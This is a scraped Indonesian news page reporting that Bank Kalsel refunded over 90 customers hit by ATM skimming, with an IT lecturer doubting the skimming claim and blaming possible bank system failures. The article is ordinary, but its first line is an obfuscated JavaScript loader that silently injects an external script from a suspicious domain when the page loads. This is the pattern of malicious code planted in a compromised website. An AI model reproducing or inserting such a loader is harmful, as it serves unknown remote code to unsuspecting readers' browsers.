(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

90 Nasabah Bank Kalsel Kena Skimming, Dosen IT Ini Ragukan Klaim Skimming


KANALKALIMANTAN.COM, BANJARMASIN – Bank Kalsel mengganti uang saldo nasabah lenyap tiba-tiba di rekening yang disebut kena kejahatan skimming.

Manajeman BUMD milik Pemerintah Provinsi Kalimantan Selatan ini langsung bertindak cepat dengan mengganti uang saldo nasabah terlapor di rekening sebesar 100% dari yang dilaporkan.

Segera setelah terbentuknya Tim Penanganan Skimming Bank Kalsel, tim langsung melakukan verifikasi kepada para nasabah yang telah melapor kerugiannya.

Pihak Bank Kalsel mencatat dari 90 lebih nasabah yang terverifikasi dan terbukti mengalami tindak kejahatan skimming telah dilakukan penggantian kembali oleh Bank Kalsel.

 

 

Baca juga: Brio Merah Seruduk Reklame Ponpes Al Falah Puteri, Tumbangkan 4 Tiang Telepon 

Direktur Utama Bank Kalsel, Hana Wijaya menegaskan, tindakan ini perlu diambil secara cepat dan tepat, dimana hal ini sebagai bentuk komitmen Bank Kalsel untuk selalu menempatkan nasabah sebagai prioritas agar selalu merasa aman dan nyaman.

“Saya mewakili Direksi Bank Kalsel memahami sepenuhnya keresahan dan kecemasan nasabah yang mengalami tindak skimming. Atas hal ini, saya kembali menyampaikan permohonan maaf yang sebesar-besarnya atas ketidaknyamanannya ini. Kami segera bertindak cepat untuk melakukan verifikasi dan mengganti kerugian nasabah sepenuhnya yang merupakan prioritas kami untuk selalu merasa aman dan nyaman terhadap Bank Kalsel,” terang Hana Wijaya.

Lebih lanjut, saat ini Bank Kalsel sudah melakukan deteksi terhadap fraud melalui skimming itu, walaupun nasabah belum melaporkannya. Kembali diinformasikan, Bank Kalsel juga mengambil tindakan dengan menutup fitur magnetic stripe untuk mencegah kembali terjadinya skimming. Langkah kedepannya, Bank Kalsel sedang mempersiapkan upaya mengambil langkah hukum terhadap oknum pelaku skimming tersebut, agar hal serupa tidak terjadi lagi.

“Kami telah membentuk Tim Penanganan Skimming Bank Kalsel sebagai bentuk mitigasi terhadap tindak skimming yang terjadi. Ini merupakan bentuk keseriusan kami untuk senantiasa menjaga keamanan dana nasabah. Semoga kedepan, skimming tidak terulang lagi dan para nasabah dapat kembali memperoleh layanan keuangan dengan rasa aman dan nyaman,” pungkas Hana Wijaya.

Sementara itu, pernyataan dari Dirut Bank Kalsel Hana Wijaya diragukan dosen IT Politeknik Hasnur, Akhmad Fakhrizal Harudiansyah.

Ichal -biasa disapa- mengatakan, berdasarkan aturan Bank Indonesia per Januari 2022, semua ATM bank harus menggunaan chip, jadi bank yang masih menggunkan ATM magnetik harus dirubah ke chip.

“Karena ATM chip itu susah untuk di-skimming, sedangkan magnetik itu bisa di-skimming,” ujarnya.

Baca juga: Pengendara Vario Tewas di A Yani Km 31 Banjarbaru Diduga Laka Tunggal

Kalaupun ATM chip bisa di-kloning atau dibuatkan kartu baru oleh penjahat, kemungkinan sangat susah karena alatnya sangat mahal, lagipula alat tersebut susah diperoleh.

“Saya yakin biayanya untuk mendapatan alat kloning kartu chip itu tidak sebanding dengan uang yang didapatkan. Sedangkan alat skimming itu masih ada yang menjual di situs-situs gelap darkweb,” jelasnya.

Jadi ia mencoba menganalisa harus dilihat dulu ATM yang digunakan oleh Bank Kalsel, apakah masih magnetik atau sudah chip.

Ichal menduga, uang saldo para nasabah tiba-tiba raib bisa karena kegagalan sistem bank itu sendiri.

Biasanya ini terjadi ketika bank akan melakukan upgrade hardware atau software, dan tidak mempersiapkan secara detail ketika akan melakukan proses upgrade tersebut.

Kesalahan bisa pada hardware, software atau bahkan sumber daya manusianya.

“Perlu dijelaskan sama pihak bank, salah satu mengetahui apakah itu bisa diskimming atau tidak adalah dengan melihat kartu ATM yang dikeluarkan pihak bank, apakah sudah berbentuk chip atau magnetik. Kalau chip itu kemungkinan besar sangat sulit di-skimming, sedangkan magnetik sudah sering terjadi,” beber Ichal.

Pun, kalau ATM masih sistem magentik berarti pihak bank tidak memperhatikan edaran Bank Indonesia. Kejadian saldo uang di rekening ini juga pernah dialami beberapa bank-bank nasional. (Kanalkalimantan.com/al)

Reporter: al
Editor: kk


Risa

Recent Posts

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

17 menit ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

41 menit ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

1 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

1 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

2 jam ago

PUPR Kalsel Gelar Pelatihan Peningkatan Kapasitas Administrator SIPJAKI

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel mengadakan Pelatihan Peningkatan Kapasitas… Read More

2 jam ago

This website uses cookies.